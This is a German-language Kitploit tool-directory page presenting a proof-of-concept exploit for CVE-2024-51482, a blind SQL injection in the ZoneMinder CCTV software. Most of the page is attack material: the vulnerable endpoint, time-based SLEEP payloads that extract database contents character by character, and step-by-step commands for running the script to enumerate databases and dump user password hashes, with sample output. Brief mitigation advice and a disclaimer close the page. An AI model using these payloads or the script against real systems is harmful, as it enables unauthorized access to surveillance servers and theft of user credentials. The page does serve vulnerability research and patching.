Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-51482 — ZenoMinder Blinde SQL-Injection PoC | Kitploit
Tools/GitHubGitHub/bridgeralderson/cve-2024-51482
PasswortangriffeSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungDatenbanksicherheit
GitHubbridgeralderson/cve-2024-51482

CVE-2024-51482

ZenoMinder Blinde SQL-Injection PoC

Repository anzeigen
8vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-51482 - Blind-SQL-Injection in ZoneMinder

Inhaltsverzeichnis

  • Überblick
  • Schwachstellendetails
  • Technische Analyse
  • Exploit-Anleitung
  • Installation
  • Anwendungsbeispiele
  • Gegenmaßnahmen
  • Referenzen

Überblick

CVE-2024-51482 ist eine kritische boolesche SQL-Injection-Schwachstelle, die in ZoneMinder, einer beliebten Open-Source-CCTV-Überwachungssoftware, entdeckt wurde. Dieser Fehler betrifft die Versionen 1.37.* bis einschließlich 1.37.64 und ermöglicht es authentifizierten Angreifern mit niedrigen Privilegien, beliebige SQL-Befehle auf dem zugrunde liegenden Datenbankserver auszuführen.

MetrikWert
CVE-IDCVE-2024-51482
CVSS-Score9.9 (Kritisch)
AngriffsvektorNetzwerk
Erforderliche PrivilegienNiedrig
BenutzerinteraktionKeine
ScopeGeändert
AuswirkungVertraulichkeit, Integrität, Verfügbarkeit - HOCH
Gepatchte Version1.37.65

Schwachstellendetails

Betroffene Versionen

  • Verwundbar: ZoneMinder v1.37.0 bis v1.37.64.
  • Gepatcht: ZoneMinder v1.37.65 und später.

Ursache

Die Schwachstelle befindet sich in der Datei web/ajax/event.php innerhalb der Funktion removetag. Der Parameter tid (Tag-ID) wird direkt in eine SQL-Abfrage concatenated, ohne ordnungsgemäße Bereinigung oder Parametrisierung.

Verwundbarer Code:

root@kitploit:~
case 'removetag': 
    $tagId = $_REQUEST['tid']; 
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id'])); 
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VERWUNDBAR! 
    $rowCount = dbNumRows($sql); 
    // ...

Behobener Code:

root@kitploit:~
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Parametrisierte Abfrage

Angriffsvektor

Der verwundbare Endpunkt kann wie folgt ausgelöst werden:

root@kitploit:~
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[INJECTION_POINT]

Technische Analyse

Warum boolesche Blind-Injection?

Der Einschleusungspunkt gibt Abfrageergebnisse nicht direkt in der Antwort zurück, sodass traditionelle UNION-basierte Angriffe unmöglich sind. Stattdessen müssen wir Informationen durch boolesche Bedingungen oder Zeitverzögerungen ableiten.

  • Boolescher Ansatz:
    • Wahre Bedingung → Normale Antwortzeit.
    • Falsche Bedingung → Normale Antwortzeit.
    • Erfordert beobachtbare Unterschiede im Anwendungsverhalten.
  • Zeitbasierter Ansatz (zuverlässiger):
    • Wahre Bedingung → Verzögerte Antwort (SLEEP).
    • Falsche Bedingung → Normale Antwortzeit.

Exploit-Mechanismus

Unser Exploit verwendet zeitbasierte Extraktion mit der Funktion SLEEP():

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)

Wenn diese Bedingung wahr ist, schläft die Datenbank 2 Sekunden lang, wodurch eine messbare Verzögerung in der HTTP-Antwort entsteht.

Zeichenextraktionsprozess

  • Binäre Suche: Für jede Zeichenposition testen wir Bereiche mit ASCII(SUBSTRING()) > MID.
  • Zeitmessung: Wenn die Bedingung wahr ist, löst SLEEP aus.
  • Zeichenrekonstruktion: Baue die Zeichenkette Zeichen für Zeichen auf.

Beispiel-Payload zur Extraktion des Zeichens an Position 1:

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)

Exploit-Anleitung

Voraussetzungen

  • Ziel läuft mit ZoneMinder 1.37.0 - 1.37.64.
  • Gültige Anmeldedaten (Standard: admin/admin).
  • Netzwerkzugriff auf das ZoneMinder-Webinterface.

Installation

root@kitploit:~
# Repository klonen
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482

# Skript ausführbar machen
chmod +x CVE-2024-51482.py

# Erforderliche Abhängigkeiten installieren
pip3 install requests

Grundlegende Verwendung

root@kitploit:~
# Testen, ob Ziel verwundbar ist
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --test

# Alle Datenbanken entdecken
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --discover

# Tabellen in einer bestimmten Datenbank auflisten
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --tables zm

# Spalten in einer bestimmten Tabelle auflisten
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --columns zm Users

# Daten aus bestimmten Spalten ausgeben
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --dump zm Users "Username,Password"

# Benutzertabelle ausgeben (Standard)
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users

# Debug-Ausgabe für detaillierten Extraktionsprozess aktivieren
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --debug

# Schlafzeit für zuverlässigere Extraktion anpassen
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --sleep 3

# Farbige Ausgabe deaktivieren
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --no-color

Anwendungsbeispiele

Beispiel 1: Schwachstellentest

root@kitploit:~
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: 192.168.1.100
[*] Logging in as 'admin' on 192.168.1.100...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.058s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!

Beispiel 2: Datenbankenumeration

root@kitploit:~
$ python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <target-host>
[*] Logging in as 'admin' on <target-host>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.065s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Enumerating databases...
[+] Found database: information_schema
[+] Found database: performance_schema
[+] Found database: zm
[+] Databases found: 
1. information_schema 
2. performance_schema 
3. zm

Beispiel 3: Ausgabe von Benutzeranmeldedaten

root@kitploit:~
$ python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <target-host>
[*] Logging in as 'admin' on <target-host>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.062s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Dumping Users table from zm database...
[*] Enumerating columns in 'zm.Users'...
[+] Found column: Id
[+] Found column: Username
[+] Found column: Password
[+] Found column: Language
[+] Found column: Enabled
[*] Dumping data from 'zm.Users'...
[+] Row 1: {'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] Row 2: {'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] Users extracted: 2 
User: admin 
Pass: $2y$10$...hashed... 
Email: admin@localhost 
Enabled: 1 
User: operator 
Pass: $2y$10$...hashed... 
Email: operator@localhost 
Enabled: 1

Beispiel 4: Benutzerdefinierte Datenextraktion

root@kitploit:~
# Bestimmte Spalten aus der Events-Tabelle ausgeben
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"

Wie der Exploit funktioniert

Schritt-für-Schritt-Ablauf

  1. Authentifizierung: Das Skript authentifiziert sich zunächst bei ZoneMinder, um ein gültiges Session-Cookie zu erhalten.
  2. Basislinienmessung: Sendet 5 normale Anfragen, um die durchschnittliche Antwortzeit zu ermitteln.
  3. Schwachstellenbestätigung: Testet mit SLEEP(2)-Payload, um zu überprüfen, ob die Einschleusung funktioniert.
  4. Zeichenextraktion: Für jede Zeichenposition bestimmt eine binäre Suche den ASCII-Wert:
    • Abfrage: ASCII(SUBSTRING(({query}), {position}, 1)) > {mid} .
    • Wenn Bedingung wahr → SLEEP wird ausgelöst → Antwort verzögert.
    • Wenn Bedingung falsch → sofortige Antwort.
  5. Zeichenkettenrekonstruktion: Zeichen werden concatenated, um vollständige Zeichenketten zu bilden.

Hauptfunktionen

  • Binärer Suchalgorithmus: Extrahiert Zeichen in log₂(95) ≈ 7 Anfragen pro Zeichen.
  • Adaptives Timing: Kalibriert automatisch die Basislinie für genaue Erkennung.
  • Fortschrittsanzeige: Zeigt den Extraktionsfortschritt in Echtzeit.
  • Fehlerbehandlung: Behandelt Verbindungszeitüberschreitungen ordnungsgemäß.
  • Debug-Modus: Zeigt detaillierte Extraktion Zeichen für Zeichen.

Gegenmaßnahmen

Sofortmaßnahmen

  • ZoneMinder auf Version 1.37.65 oder höher aktualisieren:
    root@kitploit:~
    sudo apt-get update
    sudo apt-get install zoneminder
    
  • Wenn Patchen nicht möglich ist, Zugriff auf das verwundbare Skript einschränken:
    root@kitploit:~
    # Apache-Konfiguration
    Require ip 192.168.0.0/16
    
  • Prinzip der geringsten Privilegien für Datenbankkonten implementieren.
  • Protokolle auf verdächtige SQL-Injection-Versuche überwachen:
    root@kitploit:~
    grep -i "sleep\|union\|select" /var/log/zm/*.log
    

Langfristige Empfehlungen

  • Parametrisierte Abfragen für alle Datenbankinteraktionen verwenden.
  • Web Application Firewall (WAF)-Regeln implementieren.
  • Regelmäßige Sicherheitsaudits und Penetrationstests durchführen.
  • ZoneMinder und alle Abhängigkeiten aktuell halten.

Referenzen

  • GitHub Security Advisory - GHSA-qm8h-3xvf-m7j3
  • NVD Entry - CVE-2024-51482
  • Patch Commit
  • CISA Vulnrichment
  • Tenable Nessus Plugin
  • Check Point Advisory

Haftungsausschluss

Dieses Tool wird ausschließlich zu Bildungs- und Sicherheitstestzwecken bereitgestellt. Unbefugtes Testen von Computersystemen ist illegal. Holen Sie stets die entsprechende Genehmigung ein, bevor Sie ein System testen.

CVSS-Vektorstring

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Tool herunterladen
MetrikWert
AngriffsvektorNetzwerk
AngriffskomplexitätNiedrig
Erforderliche PrivilegienNiedrig
BenutzerinteraktionKeine
ScopeGeändert
VertraulichkeitHoch
IntegritätHoch
VerfügbarkeitHoch